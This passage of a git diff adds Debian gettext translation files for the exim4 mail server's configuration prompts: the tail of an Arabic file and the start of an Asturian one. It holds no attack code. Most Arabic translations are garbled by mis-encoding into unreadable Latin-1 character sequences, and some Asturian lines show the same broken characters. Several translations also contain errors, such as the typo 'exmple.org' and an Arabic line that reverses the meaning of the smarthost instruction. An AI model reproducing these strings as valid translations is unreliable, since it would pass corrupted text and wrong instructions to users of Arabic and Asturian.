+"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"إلى أن تتمّ تهيئة نظامك البريدي Ùسو٠يكون معطوباً Ùˆ غير صالØ٠للاستخدام. يمكنك " +"بالطّبع إعداده لاØقاً إمّا يدويّاً أو بتنÙيذ الأمر 'dpkg- reconfigure exim4-" +"config' كمستخدم root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "اسم بريد النّظام:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'اسم البريد' هو اسم النطاق المستخدم 'المكمل' لعناوين البريد التي لا تشمل اسم " +"النطاق." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"سيستخدم هذا الاسم أيضاً من قبل البرامج الأخرى، والذي يجب أن يكون اسم النطاق " +"المÙرد الكامل (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"مثلاً، إن كان عنوان بريدك هو foo@example.orgØŒ Ùتكون القيمة الصØÙŠØØ© لهذا " +"الخيار هي exmple.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"هذا الاسم لن يظهر على أسطر من: (From:) من البريد الصّادر إذا مكّنت إعادة " +"الكتابة rewriting." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "الوجهات الأخرى التي ÙŠÙقبل البريد لها:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"الرجاء إدخال قائمة النطاقات المستقبÙلة، Ù…Ùصولة بÙواصل منقوطة، والتي يجب أن " +"يعتبرها هذا الجهاز الوجهة الأخيرة له. وتىمي هذه النطاقات عادة 'بالنطاقات " +"المØÙ„' يضا٠اسم الجهاز هذا (${fqdn}) Ùˆ 'localhost' دائماً إلى هذه القائمة." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"بطبيعة الØال، ستعامل جميع النطاقات بالمثل.Ùإن كان كل من a.example Ùˆb.example " +"نطاقات Ù…Øلية، Ùإن acc@a.example Ùˆacc@b.example ستوصل إلى Ù†Ùس الوجهة " +"النهائية. وإن كان يجب التعامل مع أسماء النطاقات المختلÙØ© بشكل مختلÙØŒ Ùمن " +"الضروري تØرير ملÙات التهيئة لاØقاً." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "النّطاقات التي يرØّل البريد لها:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"الرجاء إدخال لائØØ© بأسماء النطاقات المستقبÙلة، Ù…Ùصولة بÙواصل منقوطة (;) والتي " +"سيقوم هذا النظام بتØويل البريد إليها، مثلاً كبوابة MX أو بريد بديلة. وهذا " +"يعني أن هذا النظام سيستقبل البريد الخاص بهذه النطاقات والقادمة من أي مكان من " +"الإنترنت ويقوم بتوصيلها ÙˆÙقاً لأØكام التوصيل المØلي." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"لا تقم بكتابة أسماء النطاقات المØلية هنا. يمكنك استخدام الأØر٠البديلة " +"Wildcards." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "الأجهزة التي يرØّل البريد لها:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"الرجاء إدخال أسماء مجالات عناوين IP Ù…Ùصولة بÙواصل منقوطة، ÙˆØ§Ù„Ù…Ø³Ù…ÙˆØ ØªØويل " +"البريد لها عبر هذا النظام باستخدامه كمضي٠ذكي smarthost." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"عليك باستخدام نسق العنوان/السابقة القياسي Ù„ (مثلاً 194.222.242.0/24 أو " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"إن كان هذا النظام سيستخدم كمضي٠ذكي smarthost لأي مضي٠آخر، Ùاترك هذا Ùارغاً." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "اسم النّطاق المرئي للمستخدمين المØلّيّين:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"لقد تم تÙعيل خيار إخÙاء اسم البريد المØلي ÙÙŠ البريد الصادر. ولذلك من الضروري " +"أن تقوم بتØديد اسم النطاق لهذا النظام والذي يجب أن يستخدمه كإسم للنطاق " +"والمكمل لعناوين المستخدمين المرسلين المØليين." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "عنوان IP أو اسم المضي٠للبريد الصادر من المضي٠الذكي smarthost:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"الرجاء إدخال عنوان IP أو اسم المضي٠لخادم البريد الذي يجب أن يستخدمه هذا " +"النظام كمضي٠ذكي smarthost للبريد الصادر. وإن كان المضي٠الذكي يستقبل بريدك " +"Ùقط على منÙØ° غير TCP/25ØŒ Ùعليك بإضاÙØ© نقطتين ورقم المنÙØ° (على سبيل المثال " +"smarthost.example::587 أو 192.168.254.254::2525). يجب مضاعÙØ© عدد Ø£Øر٠" +"النقطتين ÙÙŠ Øال عناوين IPv6." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"إن كان المضي٠الذكي smarthost يتطلب التوثيق، الرجاء الرجوع إلى ملÙات القراءة " +"الخاصة بديبيان /usr/share/doc/exim4-base/README.Debian.gz لمعلومات Øول " +"إعداد توثيق SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "مستلم بريد الجذر (root) Ùˆ مدير البريد (postmaster):" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"يجب إعادة تØويل البريد الخاص بالمستخدمين 'postmaster'ØŒ 'root'ØŒ ÙˆØسابات " +"النظام الأخرى إلى Øساب المستخدم الخاص بمدير النظام الÙعلي." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"إن تركت هذه القيمة Ùارغة، Ùإن هذا النوع من البريد سيتم ØÙظه ÙÙŠ /var/mail/" +"mailØŒ وهو أمر غير مستØسن." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"لاØظ أن بريد postmaster يجب أن يقرأ من خلال النظام الموجه له البريد، بدلاً من " +"أن يتم إعادة إرساله إلى مكان آخر، لذا Ùإن واØد على الأقل من المستخدمين " +"المدرجة أسماءهم هنا يجب أن لا يتم إعادة توجيه بريدهم عن هذا الجهاز. يمكن " +"استخدم السابقة 'real-' لإجبار التوصيل المØلي." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "يجب Ùصل أسماء المستخدمين المتعددة بمساÙات." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "عناوين الـIP التي سيÙنصت عندها لاتّصالات SMTP القادمة:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"الرجاء إدخال قائمة عناوين IP Ù…Ùصولة بÙاصلة منقوطة (;). سيستمع عÙريت exim " +"SMTP إلى جميع عناوين IP المسردة هنا." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"إذا تركت هذه القيمة خاليةً ÙسيÙنصت exim للاتّصالات عند منÙØ° SMTP لكل واجهات " +"الشّبكة المتوÙّرة." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"إن كان هذا النظام يستلم البريد الإلكتروني مباشرةً عبر الخدمات المØلية (وليس " +"عبر الأجهزة الأخرى)ØŒ Ùمن المستØسن منع الاتصالات الخارجية لعÙريت Exim المØلي. " +"تشمل هذه الخدمات برامج قراءة البريد الالكتروني والتي تتصل مباشرة بالجهاز " +"localhost Ùقط مثل fetchmail. يستØيل وصول الاتصالات الخارجية عندما يتم إدخال " +"الرقم 127.0.0.1 هنا، Øيث أن هذا سيبطل الاستماع إلى واجهة الشبكة العامة." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "هل تريد إبقاء عدد استعلامات DNS Ù…Øدوداً (اتّصال-عند-الطّلب)ØŸ" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"ÙÙŠ وضع العمل العادي يقوم Exit ببØوث DNS عند بدء التشغيل Ùˆ عند إرسال أو " +"استلام الرسائل. لأغراض التّسجيل ولإبقاء عدد القيم المثبّتة ÙÙŠ ملÙÙ‘ الإعداد " +"صغيراً." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"إن لم يكن لهذا النظام Ù…Øلل DNS كامل الخدمة متوÙر ÙÙŠ جميع الأوقات (مثلاً إن " +"كان اتصاله بالإنترنت عبر الطلب الهاتÙÙŠ باستخدام الطلب عند الØاجة)ØŒ Ùقد يكون " +"لهذا عواقب غير Ù…Øمودة. مثلاً، عند Ù…Øاولة تشغيل Exim أو Ù…Øاولة معالجة الص٠" +"(Øتى ÙÙŠ Øال عدم وجود رسائل بالانتظار) Ùقد يستدعي ذلك طلب اتصال هاتÙÙŠ مكلÙ." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"يجب انتقاء هذا الخيار إن كان النظام يستخدم الاتصال عند الØاجة. وإن كان " +"للنظام اتصال دائم بالإنترنت، Ùيجب تعطيل هذا الخيار." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "تهيئة خادم البريد" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "هل تريد تقسيم الإعداد إلى ملÙّات٠صغيرة؟" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"يمكن Ù„Øزم exim4 الخاصة بديبيان إما استخدام \"التهيئة الغير منÙصلة\"ØŒ وهو مل٠" +"واØد شامل (/etc/exim4/exim4.conf.template) أو \"التهيئة المنÙصلة\"ØŒ Øيث " +"تتكون ملÙات تهيئة Exim الÙعلية من Øوالي 50 مل٠صغير موجودة ÙÙŠ /etc/exim4/" +"conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"التهيئة الغير منÙصلة أكثر ملاءمة للتعديلات الكبيرة وهي أكثر استقراراً بشكل " +"عام، بينما تقدم التهيئة المنÙصلة طريقة مريØØ© للقيام بالتعديلات البسيطة " +"ولكنها أكثر هشاشة وقد تعطب إن تم تعديلها دون انتباه." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"نتناول بتÙصيل أكثر التهيئة المنÙصلة والغير منÙصلة ÙÙŠ ملÙات المساعدةالخاصة " +"بديبيان الموجودة ÙÙŠ /usr/share/doc/exim4-base/.gz" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "هل تريد إخÙاء اسم البريد المØلّي ÙÙŠ البريد الصّادر؟" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"من الممكن إعادة كتابة ترويسات البريد الصّادر لجعلها تبدو كأنّها ÙˆÙلّدت على نظام٠" +"آخر. إن تم انتقاء هذا الخيار، Ùسيتم استبدال \"${mailname}\" Ùˆ \"localhost\" " +"Ùˆ \"${dc_other_hostnames}\" ÙÙŠ Øقول From (من) Ùˆ Reply-To (الرّد إلى) Ùˆ Sender " +"(المرسل) Ùˆ Return-Path (مسار الإرجاع)." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "نسق mbox ÙÙŠ /var/mail" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "نسق maildir ÙÙŠ الدليل المنزلي" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "طريق توصيل البريد المØلي:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"يستطيع Exim تخزين الرسائل المرسلة Ù…Øلياً بأنساق مختلÙØ©. الأكثر استخداماً من " +"هذه الأنساق هو mbox Ùˆ Maildir. يستخدم mbox مل٠واØداً لمجلد البريد بأكمله " +"والمخزن ÙÙŠ /var/mail. أما نسق Maildir Ùهو يخصص ملÙاً لتخزين كل رسالة على Øدى " +"ÙÙŠ ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"الرجاء ملاØظة أن معظم أدوات البريد ÙÙŠ ديبيان تتوقع أن يكون نسق طريقة التوصيل " +"المØلية هي mbox بشكل اÙتراضي." diff --git a/debian/po/ast.po b/debian/po/ast.po new file mode 100644 index 0000000..248f1a7 --- /dev/null +++ b/debian/po/ast.po @@ -0,0 +1,645 @@ +# SOME DESCRIPTIVE TITLE. +# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER +# This file is distributed under the same license as the PACKAGE package. +# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4_debian\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2009-01-12 21:37+0100\n" +"Last-Translator: Marcos Alvarez Costales <marcos.alvarez.costales@gmail." +"com>\n" +"Language-Team: asturian <LdddL@li.org>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=utf-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" +"X-Poedit-Language: asturian\n" +"X-Poedit-Country: SPAIN\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "" +"¿Desaniciar los mensaxes non entregaos del direutoriu de la cola de corréu?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Hai mensaxes nel direutoriu de la cola de corréu de exim /var/spool/exim4/" +"input/ que nun se entregaren entá. Si desinstales Exim estos nun podrán " +"unviase fasta que lo reinstale." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Caltendráse'l direutoriu de coles si nun escueyes esta opción, lo que te " +"permitirá xestionar los mensaxes encolaos más alantre dempués de reinstalar " +"Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Reconfigure exim4-config n'arróu d'esti paquete" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Movióse la configuración de exim4 a un paquete dedicaú: exim4-config. Si " +"quies reconfigurar Exim4 tendrÃes d'executar 'dpkg-reconfigure exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "Internet site; El corréu unvÃase y recÃbese direutamente usando SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" +"el corréu unvÃase per aciu d'un smarthost; recÃbese a traviés de SMTP o " +"fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "el corréu unvÃase per aciu d'un smarthost; ensin corréu llocal" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "namái entrega llocal; ensin rede" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "ensin configuración de momentu" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Tipu de configuración xeneral del corréu:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Seleiciona'l tipu de configuración de sirvidor de corréu que s'axuste meyor " +"a les tos necesidaes." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Los sistemes con señes IP dinámiques, incluyendo los qu'usen accesu " +"telefónicu, tendrÃen de configurase por regla xeneral pa unviar el corréu a " +"otru sirvidor nomáu 'smarthost' pa que faiga'l repartu. Esto ye necesario " +"porque munchos sistemes receutores de corréu n'Internet bloquien el corréu " +"entrante que provenga de señes IP dinámiques como midÃa de proteición " +"escontra'l corréu puxarra." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Un sistema qu'use una direición IP dinámica puedes recibir el to propiu " +"corréu, o pue deshabilitase l'unvÃu llocal por completu (sacante pal corréu " +"pa root y postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "¿Daveres quieres dexar el sistema de corréu ensin configurar?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"El to sistema de corréu quedará inutilizáu y nun podrá usase hasta que lu " +"configures. Puedes configuralu más sero, yá seya de mou manual o executando " +"'dpkg-reconfigure exim4-config' como alministrador." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Nome del sistema de corréu:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"El nome de corréu llocal ye'l nome del dominiu usáu pa 'cualificar' les " +"señes de corréu que nun tienen un nome de dominiu." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Esti nome usaráse por otros programes. TendrÃa de ser el nome completu del " +"equipu (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Por exemplu, si la direición de corréu nel sistema llocal ye " +"«oficialidá@exemplu.org», el valor correutu pa esta opción ye 'exemplu.org'." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Esti nome nun apaecerá na llinia Dende: de los correos salientes si ta " +"activa la reescritura." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Otros destinos pa los que s'aceuta el corréu:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Introduz la llista de dominios de destinatarios pa los qu'ésta máquina " +"tendrÃa de considerase a sà mesma como destÃn final. Separta los dominios de " +"la llista con puntu y coma. Estos dominios denómense davezu 'dominios " +"llocales'. Siempres s'amiesta'l nome del equipu (${fqdn}) y 'localhost' a la " +"llista dada equÃ." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Por omisión tolos dominios trataránse igual. Si tantu «a.exemplu» como «b." +"exemplu» son dominios llocales unviaráse al mesmu destinatariu correos a " +"«acc@a.exemplu» y «acc@b.exemplu». Si quies diferenciar ente distintos nomes " +"de dominiu necesitarás editar los ficheros de configuración postreramente." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Dominios pa los que se reunvÃa corréu:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Introduz la llista de dominios destÃn pa los que'l sistema encaminará corréu " +"actuando, por exemplu, como pasera de corréu o respaldu MX. Separta los " +"elementos de la llista por puntu y coma. Esto significa que'l sistema " +"aceutará corréu pa esti dominiu dende cualesquier destÃn n'Internet y " +"xestionarálos d'acordies a les regles d'entrega." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Nun mentes los dominios llocales equÃ. Puedes usar comodines." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Máquines pa les que reunviar corréu:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Introduz una llista de rangos de señes IP pa los que'l sistema encaminará " +"corréu de mou incondicional, actuando pa ellos como un «smarthost». Separta " +"les señes con puntu y coma." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Usa'l formatu estándar direición/llonxitú (por exemplu 194.222.242.0/24 ó " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Dexa esti valor en blanco si'l sistema nun tien de comportase como un " +"smarthost pa dengún otru sistema." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Nome de dominiu visible pa usuarios llocales:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Activóse la opción p'anubrir el nome de corréu llocal nel corréu saliente. " +"Ye necesario qu'especifiques el nome de dominiu que'l sistema tendrÃa d'usar " +"pa la parte de dominiu de les señes de corréu orixe usaes pa los usuarios " +"llocales." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Direición IP o nome d'equipu pal smarthost saliente:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Introduz la direición IP o'l nome d'equipu del sirvidor de corréu que " +"tendrÃa d'usase como sirvidor saliente («smarthost»). Si'l sirvidor namái " +"aceuta'l to corréu nun puertu distintu al puertu TCP/25 tendrás d'incluyir " +"el númberu de puertu separtándolu con dos signos de dos puntos (por exemplu, " +"smarthost.exemplu::587 ó 192.168.254.254::2525). Los dos puntos en " +"direiciones IPv6 tendrán d'escribise dos vegaes." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Si'l smarthost requier que'l sistema s'autentique tendrás de consultar cómo " +"definir la 